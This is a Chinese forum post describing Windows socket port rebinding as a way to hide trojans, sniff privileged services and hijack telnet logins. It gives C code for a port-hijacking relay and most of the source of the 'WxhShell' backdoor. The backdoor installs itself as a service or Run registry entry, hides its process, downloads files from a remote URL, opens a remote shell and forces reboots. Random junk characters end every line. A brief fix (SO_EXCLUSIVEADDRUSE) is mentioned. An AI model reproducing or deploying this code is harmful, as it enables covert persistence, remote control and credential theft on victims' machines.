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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: )Z,O*u*  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); VPet1hAy  
EH=[!iW;  
  saddr.sin_family = AF_INET; X6kCYTJYF  
4Un(}P'   
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); S&q@M  
Mnc9l ^  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); b:SjJA,HM  
nd}[X[ay  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 w9G (^jS6  
pxDkf|*   
  这意味着什么?意味着可以进行如下的攻击: Et}S*!IS  
6* (6>F5  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 a~>+I~^K5q  
9'Le}`Gf  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) N8#wQ*MM>  
*2P%731n5  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 &s-iie$"@x  
g Y|f[M|  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  *c3(,Bmw  
V:s$V.{!  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 F0(P 2j  
JZ3CCf  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 zmB6Y t  
hSr2<?yk  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 VKqIFM1b  
_)XQb1]  
  #include Tr*3:J }  
  #include ,1&Pb %}  
  #include Pq u]?X  
  #include    JFewOt3  
  DWORD WINAPI ClientThread(LPVOID lpParam);   I&vD >a5#  
  int main() 5$$Yce=k  
  { ]{ ^'{z$i  
  WORD wVersionRequested; +N n $  
  DWORD ret; 42]hX9E  
  WSADATA wsaData; T+1:[bqK  
  BOOL val; G9v'a&  
  SOCKADDR_IN saddr; :{BD/6  
  SOCKADDR_IN scaddr; uGt}Hn  
  int err; Gj!9#on$7R  
  SOCKET s; C.4r`F$p  
  SOCKET sc; rZ'&'#Q  
  int caddsize; 4} .PQ{  
  HANDLE mt; /Z^"[Ke  
  DWORD tid;   [J{\Ke0<e1  
  wVersionRequested = MAKEWORD( 2, 2 ); Y &wtF8  
  err = WSAStartup( wVersionRequested, &wsaData ); 1K{u>T  
  if ( err != 0 ) { IyK^` y  
  printf("error!WSAStartup failed!\n"); 6Ft?9 B(F:  
  return -1; 0gTv:1F /  
  } WVZ](D8Gc]  
  saddr.sin_family = AF_INET; [`J91=  
   lDsT?yHS`Z  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 nQ*9E|Vx  
X\4d|VJ?m  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); fJ<I|ZZ  
  saddr.sin_port = htons(23); Q3"{v0  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) zbY2gq@?  
  { 7XzhKA6  
  printf("error!socket failed!\n"); p+7G  
  return -1; ;z2\ Q$  
  } ?qC6p|H  
  val = TRUE; W>#[a %R  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 # RoJD:9  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) NVnId p  
  { L!;"73,&(8  
  printf("error!setsockopt failed!\n"); r+:]lO  
  return -1; C GN=kQ  
  } YN]xI  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; $;iMo/  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 c!0u,6  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Ms=5*_J2Jk  
_ ck)yY?7  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 11VtC)  
  { `^v=*&   
  ret=GetLastError(); |qs8( 5z0  
  printf("error!bind failed!\n"); r{cmw`WA/P  
  return -1; DplS\}='s  
  } [x%[N)U3  
  listen(s,2); I4XnJ[N%  
  while(1) baQORU=X  
  { =Gv*yR*]t  
  caddsize = sizeof(scaddr); ~%chF/H  
  //接受连接请求 _"%hcCMw  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); d4~;!#<  
  if(sc!=INVALID_SOCKET) - f?8O6e  
  { 0 i'bo*  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); "_^vQ1M]Z  
  if(mt==NULL) _^/k  
  { 9\'JtZO  
  printf("Thread Creat Failed!\n"); `' .;U=mF  
  break; %<)!]8}P*  
  } 4bs<j  
  } \E(^<Af  
  CloseHandle(mt); ~U r  
  } ?kIyo  
  closesocket(s); TTa$wiW7'  
  WSACleanup(); K/iFB  
  return 0; 4aP 96  
  }   Q&#Arph0e  
  DWORD WINAPI ClientThread(LPVOID lpParam) N_^PoX935O  
  { aPdEEqc\l  
  SOCKET ss = (SOCKET)lpParam; bey:Qj??  
  SOCKET sc; r.q*S4IS.m  
  unsigned char buf[4096]; W:maE9E=  
  SOCKADDR_IN saddr; F Z RnIg  
  long num; /_HTW\7,  
  DWORD val; T`pDjT  
  DWORD ret; l.]wBH#RS  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ]'?Ue7  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   E%;$vj'2  
  saddr.sin_family = AF_INET; D5oYcGc  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); mI{Fs|9h  
  saddr.sin_port = htons(23); l53Q"ajG  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) si)>:e  
  { SUIJ{!F/  
  printf("error!socket failed!\n"); y$bY 8L  
  return -1; z. X hE \  
  } ;du},>T$n  
  val = 100; B6;>V`!  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) k0N>J8y  
  {  ^|zag  
  ret = GetLastError(); [0105l5  
  return -1; ~OsLbz:  
  } yGNpx3H  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) h,B4Tg'  
  { %.u*nM7sos  
  ret = GetLastError(); R) :Xs .  
  return -1; /O.Ql ,6[  
  } u?fM.=/N  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) NOwd'iU  
  { #]5KWXC'~  
  printf("error!socket connect failed!\n"); P qC#[0Qy  
  closesocket(sc); ^`i z%^  
  closesocket(ss); 'I+M*Iy  
  return -1; 8f[ztT0`g  
  } &L5 )v\z  
  while(1) Q W,:'\G  
  { VD@$y^!H  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 0>BI[x@  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 0SWqC@AR%  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 (yi zM  
  num = recv(ss,buf,4096,0); jSHFY]2  
  if(num>0) spm)X-[1  
  send(sc,buf,num,0); 9 Xl#$d5  
  else if(num==0) 0Fon`3(^\  
  break; QD{1?aY  
  num = recv(sc,buf,4096,0); %i/|}K  
  if(num>0) u&c%L0)E&  
  send(ss,buf,num,0); !ry+{v+A  
  else if(num==0) `pCy:J?d>l  
  break; j!!s>7IZ  
  } "P@ SR`v#  
  closesocket(ss); 41d+z>a]  
  closesocket(sc); *S.FM.r  
  return 0 ; 'dh{q`#0  
  } 13Z,;YW  
#oa>Z.?_V  
R_g(6l"3R^  
========================================================== pO7OP"q1  
kZF<~U  
下边附上一个代码,,WXhSHELL '"\n,3h  
hx;kNcPbI  
========================================================== N0^SWA|S  
YJHb\Cf.  
#include "stdafx.h" k'|yUJ,  
v!ai_d^  
#include <stdio.h> l#T %N@X  
#include <string.h> fPKpV`Hr3  
#include <windows.h> W).Kq-  
#include <winsock2.h> Kf[.@_TD<1  
#include <winsvc.h> %5zIh[!1$  
#include <urlmon.h> ]nebL{}5  
z8"1*V  
#pragma comment (lib, "Ws2_32.lib") )h 6w@TF  
#pragma comment (lib, "urlmon.lib") L)\<7  
;a@riPqx!  
#define MAX_USER   100 // 最大客户端连接数 !lFNG:&`  
#define BUF_SOCK   200 // sock buffer y0T#Qq  
#define KEY_BUFF   255 // 输入 buffer PPySOkmS3  
.-T P 1C  
#define REBOOT     0   // 重启 ke;=Vg|  
#define SHUTDOWN   1   // 关机 Tq )hAZ  
1,OkuyXy!>  
#define DEF_PORT   5000 // 监听端口 B[7,Hy,R  
_oG%bNM  
#define REG_LEN     16   // 注册表键长度 11#b%dT  
#define SVC_LEN     80   // NT服务名长度 s#a`e]#?  
oLX[!0M^  
// 从dll定义API @XtrC|dkkE  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); qyVARy  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @73kry v  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); p9 ,[kb  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); J%r:"Jm[y1  
6S{F4v2/0  
// wxhshell配置信息 ^W@8KB  
struct WSCFG { yevJA?C4 v  
  int ws_port;         // 监听端口 L;M@]  
  char ws_passstr[REG_LEN]; // 口令 g)$KN,gGuO  
  int ws_autoins;       // 安装标记, 1=yes 0=no b3[!1i  
  char ws_regname[REG_LEN]; // 注册表键名 F Xr\  
  char ws_svcname[REG_LEN]; // 服务名 v,QvCozOz  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 O"o|8 l}M/  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 l"`VvW[  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Z]DZ:dF  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Btzes.  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" DHeZi3&i  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 k+"7hf=C|  
}s'=w]m  
}; XMZ$AeF@  
Vfk"}k/do  
// default Wxhshell configuration Y-1K'VhT  
struct WSCFG wscfg={DEF_PORT, t$t'{*t( T  
    "xuhuanlingzhe", u]O}Ub`  
    1, 8O{V#aop  
    "Wxhshell", n=~!x  
    "Wxhshell", eE .wnn  
            "WxhShell Service", [ypE[   
    "Wrsky Windows CmdShell Service", /&47qU4PJ  
    "Please Input Your Password: ", )l m7ly8a|  
  1, +eH`mI0f  
  "http://www.wrsky.com/wxhshell.exe", 8|\ -(:v  
  "Wxhshell.exe" r 20!   
    }; ^["D>@yIR  
w;Fy/XQ  
// 消息定义模块 -W@nc QL}  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ju;OQC~[L]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; %WR"qd&HSh  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; XI$W  
char *msg_ws_ext="\n\rExit."; a[j]fv*6  
char *msg_ws_end="\n\rQuit."; . bUmT!  
char *msg_ws_boot="\n\rReboot..."; kxyOe[7 S  
char *msg_ws_poff="\n\rShutdown..."; _ Dz*%  
char *msg_ws_down="\n\rSave to "; u^^jt(j  
FcZ)^RQ4G  
char *msg_ws_err="\n\rErr!"; ]lyQ*gM  
char *msg_ws_ok="\n\rOK!"; NW;_4g4qE  
u^]Gc p  
char ExeFile[MAX_PATH]; dG~U3\!  
int nUser = 0; Z]2z*XD  
HANDLE handles[MAX_USER]; Oi~Dio_?  
int OsIsNt; m*)jnd XY  
iKaS7lWH  
SERVICE_STATUS       serviceStatus; N|@ tP:j  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; )`Qr=DIsW  
uhaHY`w  
// 函数声明 .) %, R  
int Install(void); C-,#t5eir  
int Uninstall(void); 8 ks\-38n1  
int DownloadFile(char *sURL, SOCKET wsh); ^j pQfDe6  
int Boot(int flag); ER&\2,fZ  
void HideProc(void); {`)o xzR  
int GetOsVer(void); !P=L0A`  
int Wxhshell(SOCKET wsl); #^|2PFh5  
void TalkWithClient(void *cs); b"td]H3h  
int CmdShell(SOCKET sock); %Rr_fSoV  
int StartFromService(void); 9Ou}8a?m"  
int StartWxhshell(LPSTR lpCmdLine); ##mBOdx  
wNFx1u^/)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); bYhG`1,$-a  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); f` -vnh^+  
4wEkxCWp/  
// 数据结构和表定义 I'n}6D.M  
SERVICE_TABLE_ENTRY DispatchTable[] = 9-1'jNV  
{ +m~3InWq  
{wscfg.ws_svcname, NTServiceMain}, B 'd@ms  
{NULL, NULL} +yk0ez  
}; \>j@! W  
|VyN>&r~6  
// 自我安装 %|R]nB  
int Install(void) r@'~cF]m  
{ E2.!|u2  
  char svExeFile[MAX_PATH]; wA,-!m  
  HKEY key; YF;2jl Nm  
  strcpy(svExeFile,ExeFile); c5Kc iTD^  
`tKs|GQf  
// 如果是win9x系统,修改注册表设为自启动 g86^Z%c(k  
if(!OsIsNt) { 4QiV@#o:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1[a#blL6W  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "18cD5-#  
  RegCloseKey(key); mpIR: Im  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { v`7~#Avhz  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +^rt48${ y  
  RegCloseKey(key); j/ARTaO1]"  
  return 0; %(\et%[]  
    } pVjOp~=U  
  } 0Uk;&a0s  
} t""Y -M  
else { +j8-l-o  
&RHx8zScP  
// 如果是NT以上系统,安装为系统服务 7s0y.i~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); {p(6bsn_#]  
if (schSCManager!=0) 9r8bSV3`  
{ CX5>/  
  SC_HANDLE schService = CreateService ^O"o-3dte  
  ( \y7\RV>>3b  
  schSCManager, 1u }2}c|  
  wscfg.ws_svcname, N{Pa&/V  
  wscfg.ws_svcdisp, cy2K#  
  SERVICE_ALL_ACCESS, oHu7<r  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , S1i~r+jf  
  SERVICE_AUTO_START, m'ZxmsFo  
  SERVICE_ERROR_NORMAL, 7$"5qJ{s  
  svExeFile, 2 jxh7\zE  
  NULL, NZXCaciG  
  NULL, z<cPy)F]"  
  NULL, '|&?$g(\h  
  NULL, {q);1Nnf  
  NULL Cv`dK=n>  
  ); ,LU|WXRB  
  if (schService!=0) +KP&D.wIo  
  { Y)AHM0;g  
  CloseServiceHandle(schService); HJe6h. P  
  CloseServiceHandle(schSCManager); `cRRdD:dA  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 5~i}!n  
  strcat(svExeFile,wscfg.ws_svcname); VY!A]S"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { sA,2gbW  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); \LM{.g zT  
  RegCloseKey(key); _G^4KwYp  
  return 0; u6*0% Km  
    } ipRH.1=  
  } R\u5!M$::  
  CloseServiceHandle(schSCManager); pEG!j ~  
} G8b`>@rZ  
} z{U^j:A  
z) "(&__  
return 1; !WD^To  
} AIM<mU  
?r.U5}PBI  
// 自我卸载 % hRH80W|  
int Uninstall(void) , #(k|Zztc  
{ ooN?x31  
  HKEY key; eqU y>  
Qf@ha  
if(!OsIsNt) { p2wDk^$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { mqQC`Aqx:  
  RegDeleteValue(key,wscfg.ws_regname); }I~)o!N%7  
  RegCloseKey(key); 'u:J "  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6dqI{T-i?  
  RegDeleteValue(key,wscfg.ws_regname); K'U=);W  
  RegCloseKey(key); GrM`\MIO  
  return 0; AaDMX,  
  } 4FJA+  
} *V@t]d$=#  
} bxAHzOB(\  
else { F%:o6mT  
Q.l3F3;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 8qv>C)~~`  
if (schSCManager!=0) "bvob G  
{ FN D+Ok&  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); qo:t"x^  
  if (schService!=0) qfgw^2aUa  
  { ##yH*{/&  
  if(DeleteService(schService)!=0) { f/^T:F6  
  CloseServiceHandle(schService); V`"Cd?R0Z  
  CloseServiceHandle(schSCManager); Qs8Rb]%|  
  return 0; J L2g!n= K  
  } Ev1gzHd!i  
  CloseServiceHandle(schService); O?qM=W  
  } cwI3ANV  
  CloseServiceHandle(schSCManager); zkHyx[L  
} ~Z$Ro/;l  
} +}^^]J$Nh  
dwUs[v   
return 1; O7zj8  
} O|0,= 5  
{:`XhPS<B  
// 从指定url下载文件 k$ w#:Sx  
int DownloadFile(char *sURL, SOCKET wsh) #}C6}};  
{ Q^Q6| n  
  HRESULT hr; li%A?_/m<&  
char seps[]= "/"; p!+bn,?G  
char *token; -@mcu{&  
char *file; ~.J{yrJ&  
char myURL[MAX_PATH]; XOPiwrg%p  
char myFILE[MAX_PATH]; 3U[:N &Jb  
.N  Z  
strcpy(myURL,sURL); W%< z|  
  token=strtok(myURL,seps); l+<AM%U\ V  
  while(token!=NULL) wo\O 0?d3{  
  { V_jGL<X|  
    file=token; w)"F=33}5  
  token=strtok(NULL,seps); saVX2j6Y  
  } VN]"[  
NdM \RD_R  
GetCurrentDirectory(MAX_PATH,myFILE); xgZ<. r  
strcat(myFILE, "\\"); lrK?&a9AB  
strcat(myFILE, file); i6xzHfaYG  
  send(wsh,myFILE,strlen(myFILE),0); #[sJKW  
send(wsh,"...",3,0); ,o [FUi(#@  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); !s[ gv1  
  if(hr==S_OK) 3PaMq6Ca  
return 0; N'I9J?e Q  
else d"}lh:L9  
return 1; ZKVM9ofXRi  
a!;CY1>  
} P&AaD!Qn  
zz-X5PFn  
// 系统电源模块 ,A>cL#Oe  
int Boot(int flag) 7}vx]p2  
{ 'F7UnkKO|  
  HANDLE hToken; FES0lw{G#  
  TOKEN_PRIVILEGES tkp; Gc<^ b  
&IkHP/  
  if(OsIsNt) { "QM2YJ55m`  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ,~XAV ;+  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Mqm9i  
    tkp.PrivilegeCount = 1; c)SQ@B@q  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; >,n K  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); K9S(Xip  
if(flag==REBOOT) { /X?%K't2r  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) /cx Ei6I-  
  return 0; z#+Sf.  
} &8hW~G>(m  
else { Hx ojxZwm  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) aa\?k\h'7X  
  return 0; zu``F]B  
} AnQUdU  
  } ^fti<Lw5  
  else { - 4B&{P  
if(flag==REBOOT) { ]9hhAT44  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) #Z}YQ $g  
  return 0; D^A#C<Gs  
} `&SBp }W}  
else { $K_-I8e|  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?cgb3^R'  
  return 0; 3s_$.  
} *TYOsD**9  
} b&.3uls6  
6jz~q~ I  
return 1; -@/!u9l  
} zq]:.s  
c~ Q 5A  
// win9x进程隐藏模块 -p f9Wk  
void HideProc(void) [.>g.p,;  
{ +}NQ |y V  
USbFUHdDc  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); M/jdMfU  
  if ( hKernel != NULL ) {Ty?OZ  
  { 1f0maN  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ShMP_?]P  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); +=(@=PJ6  
    FreeLibrary(hKernel); 4_o+gG%HaM  
  } poXT)2^)  
VBe&of+  
return; tj[-|h  
} P.O/ZW>g  
0mI4hy  
// 获取操作系统版本 8V+  
int GetOsVer(void) z=DK(b;$z  
{ #YB3Ug]z  
  OSVERSIONINFO winfo; \,yg@ R  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _kQOax{c/  
  GetVersionEx(&winfo); ib~EQ?u{  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) :47"c3J  
  return 1; pNc4o@-  
  else yeN(_t2.  
  return 0; |=EwZ mj-c  
} $TavvO%#  
B{lL}"++0  
// 客户端句柄模块 ,~7+r#q7  
int Wxhshell(SOCKET wsl) ?f=7F %  
{ y?8V'.f|  
  SOCKET wsh; KL8WT6!RZ  
  struct sockaddr_in client; ^tl&FWF  
  DWORD myID; kk+:y{0V  
8iN@n8O  
  while(nUser<MAX_USER) Kg#s<#h  
{ aN~x3G  
  int nSize=sizeof(client); Owm2/  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); O]\eMM&  
  if(wsh==INVALID_SOCKET) return 1; a1A3uP  
ceNJXK  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Dlo4Wy  
if(handles[nUser]==0) pqxBu  
  closesocket(wsh); 4t0-L]v4.*  
else q<?r5H5  
  nUser++; cUZ^,)8 Z  
  } &^@IAjxn  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); )\,hc$<=m  
\DRYqLT`  
  return 0; 5b%zpx0Y  
} 7\JA8mm  
Lcy>!3q3~  
// 关闭 socket k0!D9tk  
void CloseIt(SOCKET wsh) ?[S{kMb2  
{ S:xG:[N@  
closesocket(wsh); >?0f>I%\  
nUser--; Q4&<RWbT^  
ExitThread(0); ' $X}'u  
} ^tKJ}}  
*saO~.-;4  
// 客户端请求句柄 "Kt[jV;6  
void TalkWithClient(void *cs) ?kM53zbT#  
{ +G>;NiP_  
6d|%8.q1  
  SOCKET wsh=(SOCKET)cs; a+{95"4  
  char pwd[SVC_LEN]; ' 8bT9  
  char cmd[KEY_BUFF]; `(?x@Y>.Ht  
char chr[1]; E[E[Za^Y  
int i,j; \.jT"Z~  
9{V54ue;  
  while (nUser < MAX_USER) { 5T;,wQ<  
7U{g'<  
if(wscfg.ws_passstr) { 80qe5WC.2u  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;R.l?Bg  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _"#ucM=B:-  
  //ZeroMemory(pwd,KEY_BUFF); k!6wVJ|_Y  
      i=0; :ift{XR'  
  while(i<SVC_LEN) { SgocHpyg  
1ssEJ; #s  
  // 设置超时 Nm]\0m0p-  
  fd_set FdRead; 7lz"^  
  struct timeval TimeOut; 1p9+c~4l:  
  FD_ZERO(&FdRead); z!6:Dt6^  
  FD_SET(wsh,&FdRead); ^zr]#`@G  
  TimeOut.tv_sec=8; |k^ *  
  TimeOut.tv_usec=0; &D 4Ci_6k  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); /^z5;aG  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); W8 m*co  
x=(cQmQ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *"D8E^9  
  pwd=chr[0]; Hc{0O7  
  if(chr[0]==0xd || chr[0]==0xa) { ndIU0kq3  
  pwd=0; W+0VrH 0F  
  break; U3yIONlt  
  } 9}2E+  
  i++; $xf{m9 8  
    } H]7;O M/g  
Q+\?gU]  
  // 如果是非法用户,关闭 socket L)o7~M  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); C%csQ m  
} d?/?VooU  
WwF4`kxT  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); I bd na9z7  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 93npzpge  
p ft6 @ 'q  
while(1) { %?3\gFvBo  
]' F{uDm[  
  ZeroMemory(cmd,KEY_BUFF); |&t 2jD(  
TKsze]/q  
      // 自动支持客户端 telnet标准   xED`8PCfu  
  j=0; 89@e &h*  
  while(j<KEY_BUFF) { YpT x1c-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;$y(Tvd;  
  cmd[j]=chr[0]; 0UmKS\P  
  if(chr[0]==0xa || chr[0]==0xd) { >k?/'R  
  cmd[j]=0; S3=M k~_&  
  break; l*|^mx^Q  
  } ^ )Lh5   
  j++; ''Y}Q"  
    } [9WtoA,kx  
Ab <4F 7  
  // 下载文件 s9<fPv0w  
  if(strstr(cmd,"http://")) { d))(hk:  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); \ :8eN}B  
  if(DownloadFile(cmd,wsh)) 6ZBg/_m  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ->oQ,ezB  
  else ^IxT.g  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gOI #$-L  
  } bUC-}  
  else { \guZc}V]:\  
j w)Lofn  
    switch(cmd[0]) { 6rEt!v #K[  
  8=!M0i  
  // 帮助 !<!sB)  
  case '?': { ,#1ke  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ${#5$U+kI  
    break; bh&,*Y6=  
  } q!k  F  
  // 安装 G qI^$5?  
  case 'i': { `)F lb|da  
    if(Install()) O~g _rcG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U A T46  
    else \^kyC1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zYdSg<[^  
    break; (}fbs/8\p  
    } F_!6C-z  
  // 卸载 .9Bimhc6K  
  case 'r': {  K6kPNi  
    if(Uninstall()) rm>;B *;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YNbs* i&  
    else >\K<q>*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )#MKOsOct  
    break; +15j^ Az  
    } .b]g# Du=  
  // 显示 wxhshell 所在路径 $Trkow%F]  
  case 'p': { :tM|$TZ  
    char svExeFile[MAX_PATH]; {a9Z<P  
    strcpy(svExeFile,"\n\r"); FpE83}@".w  
      strcat(svExeFile,ExeFile); Q{!lLka  
        send(wsh,svExeFile,strlen(svExeFile),0); k+44ud.j  
    break; epm  t  
    } (o{-1Dg)  
  // 重启 uJMF\G=nb  
  case 'b': { TQ" [2cY  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4pkc9\  
    if(Boot(REBOOT)) *%'4.He7V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nG$*[7<0u  
    else { 3j0/&ON  
    closesocket(wsh); GY<Y,  
    ExitThread(0); >DQl&:-)t  
    } JrseU6N  
    break; ]1%H.pF  
    } `?rPs8+R  
